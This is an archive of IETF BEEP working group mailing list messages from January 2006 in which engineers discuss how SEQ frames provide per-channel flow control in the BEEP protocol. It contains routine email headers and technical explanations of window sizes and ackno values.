X-Sender: whiz100@hotmail.com
User-Agent: Microsoft-Entourage/10.1.6.040913.0
Date: Thu, 05 Jan 2006 12:45:57 -0500
Subject: Re: [BEEPwg] Some SEQ frame questions
From: Peter Hall <whiz100@hotmail.com>
To: David Blacka <davidb@verisignlabs.com>
Message-ID: <BFE2C585.F9E4%whiz100@hotmail.com>
In-Reply-To: <EEE2C891-9100-48EA-9A9F-9583ECDAF436@verisignlabs.com>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
X-OriginalArrivalTime: 05 Jan 2006 17:45:59.0062 (UTC)
	FILETIME=[E3229B60:01C6121F]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k05Hk56u032698
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Paul Lacy <paul.lacy@hsd.com.au>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Jan 2006 17:46:05 -0000


I'm not sure if I've tried against beepcore. I'm trying to findout for sure
I've personally not done it.

The way I read it was that the SEQ message says don't send me frames larger
X. is that wrong?

What I think your saying is don¹t send a message with a total payload larger
that X. in other words send me either 1 message no larger than X or send me
many continuation messages but not to exceed X.

Why send multiple SEQ messages if it's not changed? Isn't that just wasting
bandwidth?

As it happens my application a reliable syslog server/client don't need to
send more than 4K so may be I've just not had to deal with that problem.
saying that it does work against over vendors servers/clients.

The only reason I implemented what I did with the SEQ message with because
other vendors applications sent it.

Because I don¹t send a SEQ it just means I'll accept the default 4K.

Peter


> From: David Blacka <davidb@verisignlabs.com>
> Date: Thu, 5 Jan 2006 11:26:32 -0500
> To: Peter Hall <whiz100@hotmail.com>
> Cc: Francis Brosnan Blazquez <francis@aspl.es>, Paul Lacy
> <paul.lacy@hsd.com.au>, BEEPwg <beepwg@lists.beepcore.org>
> Subject: Re: [BEEPwg] Some SEQ frame questions
> 
> 
> On Jan 5, 2006, at 9:03 AM, Peter Hall wrote:
> 
>>> 3) It is easy to understand that any change required to the window
>>>  size for a given channel will required to produce a SEQ frame to be
>>>  sent, but if the window size doesn't change:
>>> 
>>>  It is required to keep on sending SEQ frames notifying current
>>>  status of the channel buffer?
>> 
>> No need to keep sending them
> 
> Um, no.  I think you've misunderstood how SEQ works.
> 
> It is true that you do not have to send a new SEQ frame after every
> received frame (although you could).  You DO need to send one either
> before the original buffer size is exhausted, or immediately afterwards.
> 
> What the SEQ frame says is: on this channel, you may send me N
> octets.  It isn't saying "break every message in to N octet frames".
> 
> 
>>> 
>>> 4) What could happen if BEEP peer just ignore SEQ frames or don't
>>>  generate SEQ frames?
>> 
>> This is what I have done. I'll accept the SEQ frame but I never
>> send a SEQ
>> frame. When I send a message I'll split the message into whatever
>> the remote
>> peer SEQ requested.
> 
> Have you actually interoperated with, say, beepcore-j?
> 
> --
> David Blacka    <davidb@verisignlabs.com>
> Sr. Engineer    VeriSign Applied Research
> 
> 
> 
> 


From francis@aspl.es Thu Jan  5 10:45:22 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k05IjK0a000673
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 10:45:21 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1Eua6f-0003wZ-00; Thu, 05 Jan 2006 19:45:01 +0100
Subject: Re: [BEEPwg] Some SEQ frame questions
From: Francis Brosnan Blazquez <francis@aspl.es>
To: David Blacka <davidb@verisignlabs.com>
In-Reply-To: <B59B3F04-0B48-4A12-B4E5-448C91B1DA01@verisignlabs.com>
References: <1136451846.22303.15.camel@vulcan.aspl>
	 <B59B3F04-0B48-4A12-B4E5-448C91B1DA01@verisignlabs.com>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Thu, 05 Jan 2006 19:45:23 +0100
Message-Id: <1136486724.28670.53.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
X-Scanner: exiscan *1Eua6f-0003wZ-00*zYn6ILZ6TtI*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k05IjK0a000673
cc: BEEPwg <beepwg@lists.beepcore.org>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Jan 2006 18:45:22 -0000

El jue, 05-01-2006 a las 11:07 -0500, David Blacka escribió:

Hi David, really helpful comments!, 

As you have clearly described, it seems that the SEQ frames is a kind of
ACK datagram commonly used on many underlaying protocols that allow
peers to perform flow control, so: 

1) It is up to each peer to announce the SEQ frame for its own channel
window (maybe should be called "buffer") sizes and ...

2) Remote peer receiving SEQ frames MUST follow that information to
avoid getting annoyed (aka flooded) its partner peer.

But, what makes me get confused is that RFC3081 doesn't say something
like: "BEEP peers receiving a SEQ frame should take its ackno value to
check it with current seqno over the selected channel and limit its next
sending to the window value received, including stopping from sending
more data if it is overflow, until a next SEQ frame is received".

Then I read your comment:

---
>    How it is used the ackno value for the SEQ frame received?

I can't remember anything specific.  In general, it is probably used  
as a sanity check.
---

Well, or SEQ frames are windows rolling on mech reporting to the remote
peer how many data could hold at a particular time until get it into the
application level or it is something else!. In case that SEQ frames are
buffer size ack mechanism, ackno value should play a very important role
on this issue.

>From your next two comments, could you be more specific?:

1)---
> 2) Because the purpose of the SEQ frame, it is stated that they should
>    have greater priority over same messages on the same channel, but,
>    this will break the principle "every message send on the same
>    channel is sent sequentially".

What is being said is that the SEQ frames should be given priority in  
the sequence.
1)---

2)---
>    Does this means that over the same channel "normal" frames are sent
>    sequentially but, there another queue with higher priority to send
>    SEQ frames generated?

That is one way to implement it, but not the only way.
2)---

Great reply David, 

-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.


From dkramer@apple.com Thu Jan  5 10:47:49 2006
Received: from mail-out3.apple.com (mail-out3.apple.com [17.254.13.22])
	k05Iln93000697
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 10:47:49 -0800
Received: from relay6.apple.com (a17-128-113-36.apple.com [17.128.113.36])
	by mail-out3.apple.com (8.12.11/8.12.11) with ESMTP id k05IkVZk012025;
	Thu, 5 Jan 2006 10:46:31 -0800 (PST)
Received: from [17.221.41.131] (dkramer1.apple.com [17.221.41.131])
	by relay6.apple.com (Apple SCV relay) with ESMTP id B69843B2;
	Thu,  5 Jan 2006 10:46:30 -0800 (PST)
In-Reply-To: <BAY115-DAV4E383FEC4BC4F0551F264F22E0@phx.gbl>
References: <BAY115-DAV4E383FEC4BC4F0551F264F22E0@phx.gbl>
Mime-Version: 1.0 (Apple Message framework v746.2)
Content-Type: text/plain; charset=WINDOWS-1252; delsp=yes; format=flowed
Message-Id: <9F7EF577-6F98-4334-B93A-C71E7630B33D@apple.com>
From: David Kramer <dkramer@apple.com>
Subject: Re: [BEEPwg] Some SEQ frame questions
Date: Thu, 5 Jan 2006 10:46:29 -0800
To: Peter Hall <whiz100@hotmail.com>
X-Mailer: Apple Mail (2.746.2)
X-Brightmail-Tracker: AAAAAA==
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k05Iln93000697
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Paul Lacy <paul.lacy@hsd.com.au>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Jan 2006 18:47:49 -0000

> The way I read it was that the SEQ message says don't send me  
> frames larger
> X. is that wrong?

Yes, that is incorrect.

I think I can make this clearer for everyone with an example.

When a channel opens, the receiving window size for both peer A and  
peer B is 4096 bytes.  If peer A sends a frame with a payload of size  
1024 to peer B, then peer B's receiving window size shrinks to 3072.   
If peer A sends another frame with payload size 1024 to peer B, then  
peer B's receiving window size shrinks further to 2048.  If peer B  
never sends a SEQ frame, and peer A continues to send frames, then  
peer B's receiving window size will eventually reach zero.  At this  
point, if peer A sends any data to peer B, this is a protocol  
violation and peer B immediately terminates the session.

What you need to understand is that the window shrinks with every  
byte received.  The SEQ doesn't say "this is the maximum per-frame  
size I'll accept whenever", it says "this is the total number of  
bytes you may send me until I send you a new SEQ frame extending the  
window."  For a window size of 4096 it could by 4096 1-byte frames,  
or 1 4096-byte frame, or some combination in between.

Note that it is required for a BEEP stack to deal with SEQ frames in  
the middle of a message.  For instance, if peer A wants to sends a  
message that is 5000 bytes long, and peer B has a receiving window  
size of of 4096, then peer A could send a frame no larger than 4096  
bytes.  At this point, peer A still has 4 bytes left to send, which  
it cannot do until it receives a new SEQ frame from peer B extending  
with window by at least 4 bytes.  Therefore peer B needs to be able  
to send SEQ frames in the middle of receiving the message, and peer A  
needs to be able to receive SEQ frames in the middle of sending the  
message.

This might be easier to understand if you consider what the reasoning  
behind the SEQ frame is.  It is a mechanism for flow control.  It is  
a way for peer B to say, I have only allocated a certain amount of  
memory for receiving frames, so don't send me more than that until I  
say it's okay.  If peer B wants to receive a message larger than the  
window size, then peer B will have to send SEQ frame, which it will  
do once it has allocated additional space to receive it.

Suppose peer A wants to send a large file to peer B, which peer B  
will save to disk.  However, peer B doesn't have very much memory  
available.  Therefore, peer B will advertise a small (4K) window, and  
every time the window gets close to being filled, it will write out  
all of the data from memory onto disk, and then grow the window back  
to 4K.  This way peer B never requires more than a 4K buffer for  
holding frame payloads but it can still receive a very large file.

Another tricky aspect of SEQ handling is that each channel of each  
peer has it's own independent receiving window size.  Thus there are  
two window sizes associated with each channel.  Each peer needs to  
know the size of the window being advertised by the other, while at  
the same time keeping track of the window it has advertised to the  
other.  The former is important so that the peer doesn't send more  
data than the other can handle, while the latter is important so that  
the peer knows when it needs to send a SEQ to the other to re-extend  
the window.

Another point which was made earlier is that the window may never be  
shrunk by a SEQ frame.  The window is only, and always, shrunk as the  
result of receiving data.  The sending peer needs to keep track of  
how many bytes it sends and subtract that from the last advertised  
window size, so that it never sends more data than can fit in the  
window.  Likewise, the receiving peer needs to keep track of how many  
bytes it receives and subtract that from the last window size it  
advertised, so that it knows when the window is full and needs to be  
re-extended.

-David Kramer

On Jan 5, 2006, at 9:45 AM, Peter Hall wrote:

>
> I'm not sure if I've tried against beepcore. I'm trying to findout  
> for sure
> I've personally not done it.
>
> The way I read it was that the SEQ message says don't send me  
> frames larger
> X. is that wrong?
>
> What I think your saying is don’t send a message with a total  
> payload larger
> that X. in other words send me either 1 message no larger than X or  
> send me
> many continuation messages but not to exceed X.
>
> Why send multiple SEQ messages if it's not changed? Isn't that just  
> wasting
> bandwidth?
>
> As it happens my application a reliable syslog server/client don't  
> need to
> send more than 4K so may be I've just not had to deal with that  
> problem.
> saying that it does work against over vendors servers/clients.
>
> The only reason I implemented what I did with the SEQ message with  
> because
> other vendors applications sent it.
>
> Because I don’t send a SEQ it just means I'll accept the default 4K.
>
> Peter
>
>
>> From: David Blacka <davidb@verisignlabs.com>
>> Date: Thu, 5 Jan 2006 11:26:32 -0500
>> To: Peter Hall <whiz100@hotmail.com>
>> Cc: Francis Brosnan Blazquez <francis@aspl.es>, Paul Lacy
>> <paul.lacy@hsd.com.au>, BEEPwg <beepwg@lists.beepcore.org>
>> Subject: Re: [BEEPwg] Some SEQ frame questions
>>
>>
>> On Jan 5, 2006, at 9:03 AM, Peter Hall wrote:
>>
>>>> 3) It is easy to understand that any change required to the window
>>>>  size for a given channel will required to produce a SEQ frame  
>>>> to be
>>>>  sent, but if the window size doesn't change:
>>>>
>>>>  It is required to keep on sending SEQ frames notifying current
>>>>  status of the channel buffer?
>>>
>>> No need to keep sending them
>>
>> Um, no.  I think you've misunderstood how SEQ works.
>>
>> It is true that you do not have to send a new SEQ frame after every
>> received frame (although you could).  You DO need to send one either
>> before the original buffer size is exhausted, or immediately  
>> afterwards.
>>
>> What the SEQ frame says is: on this channel, you may send me N
>> octets.  It isn't saying "break every message in to N octet frames".
>>
>>
>>>>
>>>> 4) What could happen if BEEP peer just ignore SEQ frames or don't
>>>>  generate SEQ frames?
>>>
>>> This is what I have done. I'll accept the SEQ frame but I never
>>> send a SEQ
>>> frame. When I send a message I'll split the message into whatever
>>> the remote
>>> peer SEQ requested.
>>
>> Have you actually interoperated with, say, beepcore-j?
>>
>> --
>> David Blacka    <davidb@verisignlabs.com>
>> Sr. Engineer    VeriSign Applied Research
>>
>>
>>
>>
>
>
> _______________________________________________
> BEEPwg mailing list
> BEEPwg@lists.beepcore.org
> http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg


From mrose@dbc.mtview.ca.us Thu Jan  5 10:59:27 2006
Received: from mail.sarbserve.com (mail.sarbserve.com [24.244.171.76])
	k05IxRbR000797
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 10:59:27 -0800
Received: from [IPv6:::1] (mrose@localhost.localdomain [127.0.0.1])
	k05IwgPW016193;	Thu, 5 Jan 2006 10:58:43 -0800
In-Reply-To: <9F7EF577-6F98-4334-B93A-C71E7630B33D@apple.com>
References: <BAY115-DAV4E383FEC4BC4F0551F264F22E0@phx.gbl>
	<9F7EF577-6F98-4334-B93A-C71E7630B33D@apple.com>
Mime-Version: 1.0 (Apple Message framework v746.2)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <D8FA50EB-4F38-47EC-9C5D-1A4AB7207C3A@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] Some SEQ frame questions
Date: Thu, 5 Jan 2006 10:58:46 -0800
To: David Kramer <dkramer@apple.com>
X-Mailer: Apple Mail (2.746.2)
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Paul Lacy <paul.lacy@hsd.com.au>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Jan 2006 18:59:27 -0000

> This might be easier to understand if you consider what the  
> reasoning behind the SEQ frame is.  It is a mechanism for flow  
> control.  It is a way for peer B to say, I have only allocated a  
> certain amount of memory for receiving frames, so don't send me  
> more than that until I say it's okay.  If peer B wants to receive a  
> message larger than the window size, then peer B will have to send  
> SEQ frame, which it will do once it has allocated additional space  
> to receive it.

i agree with absolutely everything in your email as to how SEQ works  
and why; however, i want to add one thing to the above paragraph:  
let's answer the question: "why?".

after any tuning, if you could open only one channel for data  
exchange, then you wouldn't have SEQ frames in BEEP. they wouldn't be  
needed.

however, because you are allowed to open multiple simultaneous  
channels for data exchange, you can run into a problem commonly  
referred to as "head of line". this is where one channel monopolizes  
all of the underlying transport capacity by sending something really  
big, and the other channels get blocked behind that data.

so, what SEQ allows a BEEP peer to do is coordinate use of the  
available bandwidth by the channels being multiplexed over a single  
TCP connection. for example, the BEEP API you use may allow you to  
associate a priority with each channel (or each message sent by a  
channel), then when the implementation of that API sees that it's  
able to send a frame over the TCP connection, it can determine which  
channel should get to use the bandwidth.

/mtr

From davidb@verisignlabs.com Thu Jan  5 11:04:24 2006
Received: from mail.verisignlabs.com (cliffie.verisignlabs.com [65.201.175.9])
	k05J4OkS000856
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 11:04:24 -0800
Received: from [10.131.244.197] ([::ffff:216.168.239.87])
  (AUTH: PLAIN davidb, TLS: TLSv1/SSLv3,128bits,RC4-SHA)
  by mail.verisignlabs.com with esmtp; Thu, 05 Jan 2006 14:04:20 -0500
  id 0061C01B.43BD6DB4.00005F20
In-Reply-To: <1136486724.28670.53.camel@vulcan.aspl>
References: <1136451846.22303.15.camel@vulcan.aspl>
	<B59B3F04-0B48-4A12-B4E5-448C91B1DA01@verisignlabs.com>
	<1136486724.28670.53.camel@vulcan.aspl>
Mime-Version: 1.0 (Apple Message framework v746.2)
Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed
Message-Id: <77CB599A-7F07-4628-A7B3-BD83FD09D0AE@verisignlabs.com>
From: David Blacka <davidb@verisignlabs.com>
Subject: Re: [BEEPwg] Some SEQ frame questions
Date: Thu, 5 Jan 2006 14:04:18 -0500
To: Francis Brosnan Blazquez <francis@aspl.es>
X-Mailer: Apple Mail (2.746.2)
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k05J4OkS000856
cc: BEEPwg <beepwg@lists.beepcore.org>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Jan 2006 19:04:24 -0000


On Jan 5, 2006, at 1:45 PM, Francis Brosnan Blazquez wrote:

> El jue, 05-01-2006 a las 11:07 -0500, David Blacka escribió:
>
> Hi David, really helpful comments!,
>
> As you have clearly described, it seems that the SEQ frames is a  
> kind of
> ACK datagram commonly used on many underlaying protocols that allow
> peers to perform flow control, so:
>
> 1) It is up to each peer to announce the SEQ frame for its own channel
> window (maybe should be called "buffer") sizes and ...
>
> 2) Remote peer receiving SEQ frames MUST follow that information to
> avoid getting annoyed (aka flooded) its partner peer.
>
> But, what makes me get confused is that RFC3081 doesn't say something
> like: "BEEP peers receiving a SEQ frame should take its ackno value to
> check it with current seqno over the selected channel and limit its  
> next
> sending to the window value received, including stopping from sending
> more data if it is overflow, until a next SEQ frame is received".
>
> Then I read your comment:
>
> ---
>>    How it is used the ackno value for the SEQ frame received?
>
> I can't remember anything specific.  In general, it is probably used
> as a sanity check.
> ---

Yeah, I spaced for a moment.  The ackno value is, indeed, critical.   
In my head I was thinking that that field was called "seqno" and  
ackno was some other useless field.  This is what you get from not  
looking stuff up!

--
David Blacka    <davidb@verisignlabs.com>
Sr. Engineer    VeriSign Applied Research




From davidb@verisignlabs.com Thu Jan  5 11:16:44 2006
Received: from mail.verisignlabs.com (cliffie.verisignlabs.com [65.201.175.9])
	k05JGiFX000967
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 11:16:44 -0800
Received: from [10.131.244.197] ([::ffff:216.168.239.87])
  (AUTH: PLAIN davidb, TLS: TLSv1/SSLv3,128bits,RC4-SHA)
  by mail.verisignlabs.com with esmtp; Thu, 05 Jan 2006 14:16:40 -0500
  id 0061C036.43BD7098.00006486
In-Reply-To: <BAY115-DAV4E383FEC4BC4F0551F264F22E0@phx.gbl>
References: <BAY115-DAV4E383FEC4BC4F0551F264F22E0@phx.gbl>
Mime-Version: 1.0 (Apple Message framework v746.2)
Content-Type: text/plain; charset=WINDOWS-1252; delsp=yes; format=flowed
Message-Id: <E79CACBB-AA2C-4B11-8477-8F981C8161C9@verisignlabs.com>
From: David Blacka <davidb@verisignlabs.com>
Subject: Re: [BEEPwg] Some SEQ frame questions
Date: Thu, 5 Jan 2006 14:16:39 -0500
To: Peter Hall <whiz100@hotmail.com>
X-Mailer: Apple Mail (2.746.2)
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k05JGiFX000967
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Paul Lacy <paul.lacy@hsd.com.au>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Jan 2006 19:16:44 -0000


On Jan 5, 2006, at 12:45 PM, Peter Hall wrote:

>
> I'm not sure if I've tried against beepcore. I'm trying to findout  
> for sure
> I've personally not done it.
>
> The way I read it was that the SEQ message says don't send me  
> frames larger
> X. is that wrong?

SEQ is advertising a current buffer size for a channel for that  
moment in time (or more precisely, for a particular sequence  
number).  It isn't talking about frames specifically.

> What I think your saying is don’t send a message with a total  
> payload larger
> that X. in other words send me either 1 message no larger than X or  
> send me
> many continuation messages but not to exceed X.

It is saying that you can send up to X octets without another SEQ,  
regardless of the message/frame breakdown.

> Why send multiple SEQ messages if it's not changed? Isn't that just  
> wasting
> bandwidth?

SEQ is implementing flow control, so think of it as an ACK.

> As it happens my application a reliable syslog server/client don't  
> need to
> send more than 4K so may be I've just not had to deal with that  
> problem.
> saying that it does work against over vendors servers/clients.

Well, you would be able to send *only* 4k on a given channel.  Well,  
reliably in any case.  Also keep in mind that you will be able to  
perfectly interoperate with yourself.  So if both peers are using  
your BEEP implementation, I wouldn't expect a problem.

> The only reason I implemented what I did with the SEQ message with  
> because
> other vendors applications sent it.

Well, they have to.

> Because I don’t send a SEQ it just means I'll accept the default 4K.

It means you will only accept 4k total on each channel.

Here is what BEEP implementations need to do with respect to SEQ:

Senders must track on a per channel basis how many octets they are  
allowed to send.  So, initially, on channel creation, this may be set  
to 4096.  Now lets say you send 200 octets in two frames.   
Immediately, the sender updates this number to 3896, and notes that  
it has sent a total of 200 octets.  Now lets say that the sender has  
received a SEQ frame that says "SEQ 1 100 4096".  This means: "after  
receiving octet 100 on channel 1, I can receive 4096 more octets of  
payload".  So the sender gets to update its number to 3996.  It is  
now allowed to send at most 3996 octets before getting another SEQ  
frame.  Note that the ackno field is critical here.

Receivers need to have a mechanism for knowing when they must send a  
SEQ frame to prevent the channel from stalling.  In general, they do  
this by mirroring the calculation that the sender is doing (i.e.,  
subtract on receipt of data, resetting when sending a SEQ), but this  
isn't the only way to do it.

Also note that like sequence numbers, SEQ frames operate on a per- 
channel and per-direction basis.

--
David Blacka    <davidb@verisignlabs.com>
Sr. Engineer    VeriSign Applied Research




From whiz100@hotmail.com Thu Jan  5 11:32:20 2006
Received: from hotmail.com (bay115-dav17.bay115.hotmail.com [65.54.250.89])
	k05JWJ4K001125
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 11:32:19 -0800
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 5 Jan 2006 11:32:16 -0800
Message-ID: <BAY115-DAV173D1279C35CF2C2AEFD51F22E0@phx.gbl>
Received: from 24.99.144.45 by BAY115-DAV17.phx.gbl with DAV;
	Thu, 05 Jan 2006 19:32:16 +0000
X-Originating-IP: [24.99.144.45]
X-Originating-Email: [whiz100@hotmail.com]
X-Sender: whiz100@hotmail.com
User-Agent: Microsoft-Entourage/10.1.6.040913.0
Date: Thu, 05 Jan 2006 14:32:11 -0500
Subject: Re: [BEEPwg] Some SEQ frame questions
From: Peter Hall <whiz100@hotmail.com>
To: David Blacka <davidb@verisignlabs.com>
Message-ID: <BFE2DE6B.F9FB%whiz100@hotmail.com>
In-Reply-To: <EEE2C891-9100-48EA-9A9F-9583ECDAF436@verisignlabs.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-OriginalArrivalTime: 05 Jan 2006 19:32:16.0695 (UTC)
	FILETIME=[BC802C70:01C6122E]
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Paul Lacy <paul.lacy@hsd.com.au>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Jan 2006 19:32:20 -0000

I've just had confirmation that a vender has used beepcore-java and it works
fine with my implemention.

P

> From: David Blacka <davidb@verisignlabs.com>
> Date: Thu, 5 Jan 2006 11:26:32 -0500
> To: Peter Hall <whiz100@hotmail.com>
> Cc: Francis Brosnan Blazquez <francis@aspl.es>, Paul Lacy
> <paul.lacy@hsd.com.au>, BEEPwg <beepwg@lists.beepcore.org>
> Subject: Re: [BEEPwg] Some SEQ frame questions
> 
> 
> On Jan 5, 2006, at 9:03 AM, Peter Hall wrote:
> 
>>> 3) It is easy to understand that any change required to the window
>>>  size for a given channel will required to produce a SEQ frame to be
>>>  sent, but if the window size doesn't change:
>>> 
>>>  It is required to keep on sending SEQ frames notifying current
>>>  status of the channel buffer?
>> 
>> No need to keep sending them
> 
> Um, no.  I think you've misunderstood how SEQ works.
> 
> It is true that you do not have to send a new SEQ frame after every
> received frame (although you could).  You DO need to send one either
> before the original buffer size is exhausted, or immediately afterwards.
> 
> What the SEQ frame says is: on this channel, you may send me N
> octets.  It isn't saying "break every message in to N octet frames".
> 
> 
>>> 
>>> 4) What could happen if BEEP peer just ignore SEQ frames or don't
>>>  generate SEQ frames?
>> 
>> This is what I have done. I'll accept the SEQ frame but I never
>> send a SEQ
>> frame. When I send a message I'll split the message into whatever
>> the remote
>> peer SEQ requested.
> 
> Have you actually interoperated with, say, beepcore-j?
> 
> --
> David Blacka    <davidb@verisignlabs.com>
> Sr. Engineer    VeriSign Applied Research
> 
> 
> 
> 

From whiz100@hotmail.com Thu Jan  5 11:51:36 2006
Received: from hotmail.com (bay115-dav12.bay115.hotmail.com [65.54.250.84])
	k05JpaQ9001299
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 11:51:36 -0800
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 5 Jan 2006 11:51:28 -0800
Message-ID: <BAY115-DAV1209BB50A7F2A20F40CCF2F22E0@phx.gbl>
Received: from 24.99.144.45 by BAY115-DAV12.phx.gbl with DAV;
	Thu, 05 Jan 2006 19:51:28 +0000
X-Originating-IP: [24.99.144.45]
X-Originating-Email: [whiz100@hotmail.com]
X-Sender: whiz100@hotmail.com
User-Agent: Microsoft-Entourage/10.1.6.040913.0
Date: Thu, 05 Jan 2006 14:51:27 -0500
Subject: Re: [BEEPwg] Some SEQ frame questions
From: Peter Hall <whiz100@hotmail.com>
To: David Blacka <davidb@verisignlabs.com>
Message-ID: <BFE2E2EF.FA10%whiz100@hotmail.com>
In-Reply-To: <E79CACBB-AA2C-4B11-8477-8F981C8161C9@verisignlabs.com>
Mime-version: 1.0
